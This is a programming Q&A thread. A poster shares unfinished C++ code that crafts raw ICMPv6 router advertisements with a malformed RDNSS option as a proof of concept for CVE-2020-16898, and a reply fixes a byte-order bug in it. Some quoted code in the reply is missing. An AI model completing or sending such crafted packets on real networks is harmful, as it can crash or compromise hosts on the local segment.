Out of curiosity, I was trying to write a simple proof-of-concept exploit to CVE-2020-16898. I used the RFCs (RFC 4861 and RFC 6106) to get the correct format, and I've managed to send a crafted ICMPv6 router advertisement packet using the code below. However, viewing the packet in Wireshark revealed that the packet option 25 (the payload) was missing from the packet that was actually sent.
I suspect that it has something to do with the packet length - I tried converting it to Big Endian (using both htons() and manually inserting a hex number), but in these instances, sendto() fails with the "Message too long" error. The payload should be 56 bytes long, which should be well below the limits.
I'm including my code below. I'll appreciate any help.
#include <iostream>
#include <cstdlib>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <arpa/inet.h>
struct ipHeader{
uint8_t priority:4, version:4;
uint8_t flow[3];
uint16_t length;
uint8_t nextHeader;
uint8_t hopLimit;
// 128-bit IPv6 addresses
uint16_t srcAddress[8];
uint16_t dstAddress[8];
};
struct payload{
uint8_t type;
uint8_t code;
uint16_t checksum;
uint32_t curHopLimit:8, M:1,O:1, reserved:6, lifetime:16;
uint16_t routerLifetime;
uint32_t reachableTime;
uint32_t retrans;
// Options, probably should be its own struct
uint8_t optionType;
uint8_t optionLength;
uint16_t optionReserved;
uint32_t optionLifetime;
uint32_t dnsAddress[4]; // 128-bit IPv6 address
uint64_t randomGarbage; // This is where magic happens
};
int main()
{
uint8_t *packet;
packet = (uint8_t *) malloc(sizeof(ipHeader) + sizeof(payload));
ipHeader *ip;
payload *icmp;
// Place IP header + payload directly to the packet buffer
ip = (ipHeader *) packet;
// Offset of payload in packet buffer
icmp = (payload *)(packet+sizeof(ipHeader));
// IPv6 packet header (arcane magic stuff)
ip->version = 0b0110;
ip->priority = 0;
(ip->flow)[0] = 0;
(ip->flow)[1] = 0;
(ip->flow)[2] = 0;
ip->length = htons(sizeof(payload)); // Should be 0x3800 (Big Endian)
ip->nextHeader = 58;
ip->hopLimit = UINT8_MAX; //Most hops possible to prevent the packet from being dropped
std::cout << std::hex << ip->length << std::dec << std::endl;
// ICMPv6 router advertisement packet (more arcane magic stuff)
icmp->type = 134; // Router advertisement
icmp->code = 0;
icmp->checksum = 0; // will set/calculate later
icmp->curHopLimit = 64;
icmp->M = 0;
icmp->O = 0;
icmp->reserved = 0;
icmp->lifetime = 0;
icmp->reachableTime = 0;
icmp->retrans = 0;
icmp->optionType = 25;
icmp->optionLength = htonl(3);
icmp->optionLifetime = UINT32_MAX;
icmp->randomGarbage = UINT64_MAX; // not very random, but w/ever
icmp->checksum = 0x2e55;
sockaddr_in6 remote{};
remote.sin6_family = AF_INET6;
remote.sin6_port = 0;
remote.sin6_flowinfo = 0;
remote.sin6_scope_id = 0;
//Set addresses
inet_pton(AF_INET6, "fe80::eab1:fcff:fedb:74", &(ip->srcAddress));
inet_pton(AF_INET6, "ff02::1", &remote.sin6_addr);
inet_pton(AF_INET6, "ff02::1", &(ip->dstAddress));
inet_pton(AF_INET6, "2001:4860:4860::8844", &(icmp->dnsAddress)); // Google DNS, just to use a valid setting
int sock, optVal;
sock = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
if(sock == -1){
perror("Failed to open socket");
exit(-1);
}
int status;
status = setsockopt(sock, IPPROTO_IPV6, IPV6_HDRINCL, &optVal, sizeof(int));
if(status != 0){
std::cout << "Socket options returned status " << status << std::endl;
perror("Failed to set socket options");
exit(-2);
}
std::cout << "Sockets ready, sending payload..." << std::endl;
std::cout << "Payload size: " << sizeof(payload) << std::endl;
status = sendto(sock, packet, ip->length, 0, (sockaddr *) &remote, sizeof(remote));
if(status != ip->length){
std::cout << "sendto() returned status" << status << "(Errno: " << errno << ")" << std::endl;
perror("Failed to send packet");
exit(-3);
}
return 0;
}
You have:
and:
This doesn't make sense.
The
optionLength
field is just one byte. There is no way a single byte field can be big endian or little endian. It's just one byte.Since it's not a long, assigning the result of
htonl
to that field is a mistake. Just use= 3
.